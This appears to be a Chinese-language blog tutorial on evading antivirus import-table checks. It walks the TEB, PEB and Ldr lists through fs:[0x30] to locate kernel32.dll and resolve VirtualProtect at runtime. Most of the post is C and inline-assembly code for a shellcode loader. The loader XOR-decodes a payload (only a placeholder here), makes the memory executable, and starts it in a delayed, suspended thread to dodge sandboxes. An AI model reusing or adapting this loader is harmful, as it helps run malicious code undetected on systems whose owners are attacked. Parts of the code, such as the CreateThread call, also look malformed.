杀软有时不仅会检查内部特征,也会检查导入表中是否含有敏感函数。通常会对
PE 文件的导入表通过计算 hash
值进行对比,看有没有敏感函数,如果有会进行额外的检测。
动态获取主要是通过找到 kernerl32. dll。这样就不会再导入表出现
VirtualProtect
TEB(Thread Environment Block,线程环境块)系统在此
TEB 中保存频繁使用的线程相关的数据。位于用户地址空间,在比 PEB
所在地址低的地方。用户模式下,当前线程的 TEB 位于独立的 4KB 段
(页),可通过 CPU 的 FS 寄存器来访问该段,一般存储在[FS: 0]
PEB(Process Environment
Block,进程环境块)存放进程信息,每个进程都有自己的PEB信息。位于用户地址空间。可在TEB结构地址偏移0x30处获得PEB的地址位置。
使用 windbg 查看 teb 结构 dt -rl _teb

在+0x30 处为 peb 地址 通过 fs:[0]
寄存器访问到 TEB
的地址,这里我们又知道了可以通过 TEB
结构偏移 0x30
处指向的地址是 PEB 结构地址,即 fs:[0]
->
TEB
-> PEB
,在这一步完成 PEB 地址的定位.
dt -rl _peb

在 peb 偏移 0xc 处位 ldf 结构的地址, 在 ldr
下存在三个双链表结构,这三个为模块在不同状态的顺序
https://mamor5409.github.io/posts/9aa42a48/ 参考之前写的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| #include <Windows.h> #include <stdio.h> HMODULE GetKernel32Addr() { HMODULE Kernel32Base = 0; _asm { mov eax, fs:[0x30] mov eax, dword ptr[eax + 0xc] mov eax, dword ptr[eax + 0xc] mov eax, [eax] mov eax, [eax] mov eax, dword ptr[eax + 0x18] mov Kernel32Base, eax } return Kernel32Base; }
void main() {
unsigned char buf[] = "异或的shellcode"; unsigned char shellcode[892]; int len = sizeof(shellcode) - 1; for (size_t i = 0; i < len; i++) { buf[i] ^= 10; shellcode[i] = buf[i]; }
typedef BOOL(WINAPI *pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
DWORD oldProtect = 0; HMODULE hKernal32 = GetKernel32Addr();
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE handle = CreateThread(0,0,shellcode, CREATE_SUSPENDED,0,0); Sleep(15000); ResumeThread(handle); }
|